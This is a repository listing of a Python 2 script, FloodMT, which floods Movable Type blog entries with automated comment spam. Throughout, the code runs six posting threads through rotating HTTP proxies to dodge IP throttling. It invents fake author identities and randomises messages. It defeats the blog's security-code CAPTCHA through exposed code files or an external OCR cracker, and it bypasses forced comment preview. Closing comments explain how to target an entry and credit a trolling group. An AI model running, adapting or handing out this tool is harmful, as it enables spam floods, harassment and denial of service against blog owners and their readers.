source: trollforge/unsorted/old-trollforges/dsp-trollforge/MovableType/FloodMT.py @ 605

Revision 605, 12.1 KB checked in by literalka, 16 months ago (diff)

more sorting, jesus fuck

  • Property svn:executable set to *
Line 
1# FloodMT
2# public release 1.4.0
3# released under the later BSD license
4#
5# FloodMT will attempt to flood the given entry of a Movable Type by posting
6# a given number of times.
7#
8# Usage: -h for help; it's all done via commandline options
9
10import getopt
11from os import getpid, popen, remove, tmpnam
12from random import choice, randint
13import re
14from sys import argv, exit, stderr
15import string
16import threading
17from time import sleep
18import urllib
19
20##############################################################################
21#   FUNCTION DEFINITIONS                                                     #
22##############################################################################
23
24def errmsg(msg):
25        from sys import stderr
26        stderr.write(str(getpid()) + ': ' + msg + "\n")
27
28def randchars(x):
29        str = ""
30        for i in range(randint(x, x + 2)):
31                str = str + string.lower(choice(string.letters))
32        return str
33
34def GenEmail():
35        return randchars(8) + "@" + randchars(6) + choice([".com", ".net", ".org"])
36
37def GenWebsite():
38        if randint(1, 3) == 1:
39                return randchars(7) + choice([".com", ".net", ".org"])
40        else:
41                return 'www.' + randchars(7) + choice([".com", ".net", ".org"])
42       
43def pseudoname():
44        return choice(string.uppercase) + randchars(6)
45
46def numthreadsmsg(numthreads):
47        pid = str(getpid())
48        if numthreads == 1:
49                errmsg("1 postthread running")
50        elif numthreads == 0:
51                errmsg("all postthreads done")
52        else:
53                errmsg(str(numthreads) + " postthreads running")
54
55def rndmessage():
56        chars = string.letters
57        msize = [4, 7, 9, 12, 16]
58        wsize = [2, 4, 5, 6, 7, 8, 10, 12]
59        message = ""
60        for l in range(choice(msize)):
61                for m in range(choice(wsize)):
62                               message = message + choice(chars)
63                message = message + " "
64        return message 
65
66##############################################################################
67#   THE CODE                                                                 #
68##############################################################################
69
70cgiurl = ''
71entryids = [ ]
72forcepreview = 0
73msgfile = ''
74ocr = ''
75opt_l = 0
76opt_n = 0
77posts = '1000'
78preformkey = '' # currently no option for setting this
79proxfile = ''
80secdir = ''
81securl = ''
82throttime = 0
83usecodes = 0
84
85###################
86# Do getopt stuff #
87###################
88try:
89        opts, args = getopt.getopt(argv[1:], 'c:d:e:f:hln:op:r:s:t:u')
90except getopt.GetoptError, msg:
91        stderr.write(argv[0] + ': ' + str(msg) + "\n")
92        exit(3)
93
94for c, optarg in opts:
95        if c == '-c':
96                cgiurl = optarg
97        if c == '-d':
98                secdir = optarg
99        if c == '-e':
100                entryids.append(optarg)
101        if c == '-f':
102                msgfile = optarg
103        if c == '-h':
104                print 'FloodMT: ' + argv[0] + ' [OPTION]...'
105                print 'Perform automated comment posting on a Movable Type blog.\n'
106                print '  -c [URL]   use [URL] as the comment posting CGI script'
107                print '  -d [URL]   directory in which security codes are available'
108                print '  -e [NUM]   post to the entry with ID [NUM]'
109                print '  -f [FILE]  read messages from [FILE]'
110                print '  -h         display usage help'
111                print '  -l         just display the list of HTTP proxies collected and exit'
112                print '  -n [NUM]   each thread makes [NUM] post attempts'
113                print '  -o         turn on forced preview avoidance'
114                print '  -p [FILE]  read list of HTTP proxies from [FILE], one per line'
115                print '  -r [PATH]  path to OCR cracker'
116                print '  -s [URL]   use [URL] as security code CGI script'
117                print '  -t [NUM]   each thread waits [NUM] seconds between post attempts'
118                print '  -u         turn on security code circumvention (needs -d or -r and -s)'
119                print
120                print 'Multiple entry IDs can be given.'
121                exit(0)
122        if c == '-l':
123                opt_l = 1
124        if c == '-n':
125                opt_n = 1
126                posts = optarg
127        if c == '-o':
128                forcepreview = 1
129        if c == '-p':
130                proxfile = optarg
131        if c == '-r':
132                ocr = optarg
133        if c == '-s':
134                securl = optarg
135        if c == '-t':
136                throttime = optarg
137        if c == '-u':
138                usecodes = 1
139
140if len(entryids) == 1:
141        errmsg('read in 1 entry ID')
142else:
143        errmsg("read in " + str(len(entryids)) + " entry IDs")
144
145########################
146# Sanity check options #
147########################
148
149try:
150        posts = int(posts)
151except:
152        errmsg("improper number of post attempts given")
153        exit(4)
154
155try:
156        throttime = int(throttime)
157except:
158        errmsg("improper throttling time given")
159        exit(9)
160
161if opt_l == 0:
162
163        if opt_n == 0:
164                errmsg("number of post attempts not given, assuming " + str(posts))
165
166        if cgiurl == '':
167                errmsg("URL of comment posting script not given")
168                exit(7)
169
170        if len(entryids) == 0:
171                errmsg("no entry IDs given")
172                exit(8)
173
174        if msgfile == '':
175                errmsg('no message file given')
176                exit(10)
177
178if proxfile == '':
179        errmsg('no proxy file given')
180        exit(11)
181
182##############################
183# Read proxies into an array #
184##############################
185
186proxies = [ ]
187num_proxies = 0
188proxmatch = re.compile('([0-9]{1,4}\.){3,3}[0-9]{1,4}:[0-9]{1,5}')
189
190try:
191        f = open(proxfile, 'r')
192except:
193        errmsg("an error occurred when trying to open " + proxfile)
194        exit(5)
195
196for x in f.readlines():
197        r = re.search(proxmatch, x)
198        if r == None:
199                continue
200        else:
201                proxies.append('http://' + r.group(0))
202                num_proxies += 1
203
204f.close()
205if num_proxies == 1:
206        errmsg('read in 1 proxy')
207elif num_proxies > 0:
208        errmsg('read in ' + str(num_proxies) + ' proxies')
209else:
210        errmsg('couldn\'t read in proxies from ' + proxfile)
211        exit(7)
212
213if opt_l > 0:
214        for n in proxies:
215                print n
216        exit(0)
217
218###############################
219# Read messages into an array #
220###############################
221
222msgs = [ ]
223num_msgs = 0
224
225try:
226        f = open(msgfile, 'r')
227except:
228        errmsg('an error occurred when trying to open ' + msgfile)
229        exit(2)
230
231msgs.append('')
232for x in f.readlines():
233        if x == "%\n":
234                msgs.append('')
235                num_msgs += 1
236        else:
237                msgs[num_msgs] += x
238num_msgs += 1
239
240f.close()
241if num_msgs == 1:
242        errmsg('read in 1 message')
243elif num_msgs > 0:
244        errmsg('read in ' + str(num_msgs) + ' messages')
245else:
246        errmsg('couldn\'t read in messages from ' + msgfile)
247        exit(6)
248
249#####################
250# Define our thread #
251#####################
252
253class SpamThread(threading.Thread):
254
255        def run(self):
256
257                for i in range(posts):
258
259                        self.proxy = choice(proxies)
260                        self.opendev = urllib.FancyURLopener({'http': self.proxy})
261
262                        self.author = pseudoname()
263                        self.email = GenEmail()
264                        self.entryid = choice(entryids)
265                        self.msg = choice(msgs) + "\n" + rndmessage()
266                        self.subject = randchars(15)
267                        self.url = GenWebsite()
268                        self.formkey = ''
269
270                        # Snaffle a security code if need be
271                        if usecodes:
272
273                                par = urllib.urlencode (
274                                {
275                                'entry_id': self.entryid
276                                })
277                                try:
278                                        f = self.opendev.open(cgiurl, par)
279                                except IOError:
280                                        print "Unable to open the comments page via proxy", self.proxy
281                                        continue
282                                str = f.read(1000000)
283                                r = re.search('<input.*name="code".*value=.([0-9]+).', str)
284
285                                if r:
286                                        #filenum = re.search('[0-9]+', r.group(0)).group(0)
287                                        filenum = r.group(1)
288                                else:
289                                        print "No security code found (" + self.proxy + ")"
290                                        continue
291
292                                if ocr != '':
293                                        # use an OCR program instead of tempdir trick
294                                        try:
295                                                f = self.opendev.open(securl + '?code=' + filenum)
296                                        except:
297                                                continue
298                                        picpath = tmpnam()
299                                        self.g = open(picpath, 'w')
300                                        self.g.write(f.read())
301                                        self.g.close()
302                                        self.g = popen(ocr + ' ' + picpath)
303                                        code = self.g.read()
304                                        self.g.close()
305                                        remove(picpath)
306
307                                else:
308
309                                        try:
310                                                f = self.opendev.open(secdir + filenum)
311                                        except:
312                                                print "Unable to open security code file via proxy", self.proxy
313                                        code = f.read(1000)
314
315                                code = code.strip()
316
317                        else:
318                                code = ''
319                                filenum = ''
320
321                        # If it's a forced preview, carry it out then post
322                        if forcepreview:
323
324                                # Can we just post straight away anyhow?
325                                if preformkey == '':
326
327                                        # Set them up the bomb
328                                        par = urllib.urlencode(
329                                        {
330                                                'entry_id': self.entryid,
331                                                'author': self.author,
332                                                'email': self.email,
333                                                'text': self.msg,
334                                                'subject': self.subject,
335                                                'post': ' POST ',
336                                                #'checkbox': 'false',
337                                                'snoop': 'goaway',
338                                                'bully': 'goaway',
339                                                'static': '1',
340                                                'parent_id' : '0',
341                                                'code': filenum,
342                                                'scode': code,
343                                                'url': self.url,
344                                                'forcedpreview': 'yes'
345                                        })
346
347                                        try:
348                                                f = self.opendev.open(cgiurl, par)
349                                        except IOError:
350                                                print "Unable to post via proxy", self.proxy
351                                                continue
352
353                                        str = f.read(10000)
354                                        if string.find(str, "not allowed on this entry") != -1:
355                                                print "This entry seems to have comments disabled"
356                                                return
357                                        continue
358
359                                # If we need to get a preview formkey, do so
360                                else:
361
362                                        # Setup the POST request
363                                        par = urllib.urlencode(
364                                        {
365                                                'entry_id': self.entryid,
366                                                'author': self.author,
367                                                'email': self.email,
368                                                'text': self.msg,
369                                                'subject': self.subject,
370                                                #'preview': ' Preview ',
371                                                'preview': ' PREVIEW ',
372                                                'checkbox': 'false',
373                                                'snoop': 'goaway',
374                                                'bully': 'goaway',
375                                                'static': '1',
376                                                'parent_id' : '0',
377                                                'code': filenum,
378                                                'scode': code,
379                                                'url': self.url
380                                        })
381
382                                        try:
383                                                f = self.opendev.open(cgiurl, par)
384                                        except IOError:
385                                                print "Unable to open the preview page via proxy", self.proxy
386                                                continue
387                                        print "Posted preview via proxy", self.proxy
388
389                                        str = f.read(1000000)
390                                        r = re.search('<input.*name="' + preformkey + '".*value=.[0-9a-f]+.', str)
391                                        if r:
392                                                self.formkey = re.search('[0-9a-f]+', r.group(0)).group(0)
393                                                print "Got formkey " + self.formkey
394                                        else:
395                                                print "Either no formkey is in use or the proxy " + self.proxy + " won't work here."
396                                                continue
397
398                                        f.close()
399
400                        # Setup the POST request
401                        par = urllib.urlencode(
402                        {
403                                'entry_id': self.entryid,
404                                'author': self.author,
405                                'email': self.email,
406                                'text': self.msg,
407                                'subject': self.subject,
408                                'post': " Post ",
409                                'checkbox': "false",
410                                'snoop': 'goaway',
411                                'bully': 'goaway',
412                                'static': '1',
413                                'parent_id' : '0',
414                                'code': filenum,
415                                'scode': code,
416                                preformkey: self.formkey,
417                                'url': self.url
418                        })
419
420                        try:
421                                f = self.opendev.open(cgiurl, par)
422                        except IOError:
423                                print "Unable to post comment via proxy", self.proxy
424                                continue
425                        except EOFError:
426                                print "Proxy", self.proxy, "gave EOFError"
427                                continue
428                        # print f.read(100000)
429
430                        print "Post attempt #", i + 1, ": used proxy", self.proxy
431
432                        # dodge throttling by IP if need be
433                        if throttime:
434                                sleep(throttime)
435
436#####################
437# Main program loop #
438#####################
439
440if __name__ == '__main__':
441
442        threadList = [ ]
443
444        # spawn six threads
445        for i in range(6):
446                thread = SpamThread()
447                threadList.append(thread)
448
449        # start the fuckers
450        for thread in threadList:
451                thread.start()
452               
453        # status updates, plz
454        numthreads = threading.activeCount()
455        numthreadsmsg(numthreads - 1)
456        x = numthreads
457        while numthreads > 1:
458                numthreads = threading.activeCount()
459                y = numthreads
460                if x != y:
461                        numthreadsmsg(numthreads - 1)
462                try:
463                        sleep(1)
464                        x = y
465                except:
466                        exit(1)
467
468# all you need to do is change the entry_id to the correct one of
469# the entry you want to flood and cgiurl to the url of the post form.
470# both can be found in page source close together.
471
472# Authors: rkz, wrt & tirel of #gnaa on evolnet
473# (we also suspect that lysol and Dessimat0r may have made useful
474# contributions, but we're not sure)
475#
476# rkz did the very first alpha versions, then wrt hacked them up a bit and
477# wacked in a load of mostly crap proxies. tirel took up cvs command. rkz
478# did random proxy code and random email/url/message generation. wrt made
479# it better, improved exception handling, added security code circumvention
480# and took out a bunch of nonworking proxies. rkz gave the program threads
481# and then wrt merged them manually and tirel did them in CVS. Dessimat0r
482# works on the experimental version and tirel does the perl version. lysol
483# made his own in PHP and can go fuck himself.
484#
485# first big innovation in months: timecop writes an external program to
486# actually DO the movable type OCR bollocks. Woo! -r is added for this.
Note: See TracBrowser for help on using the repository browser.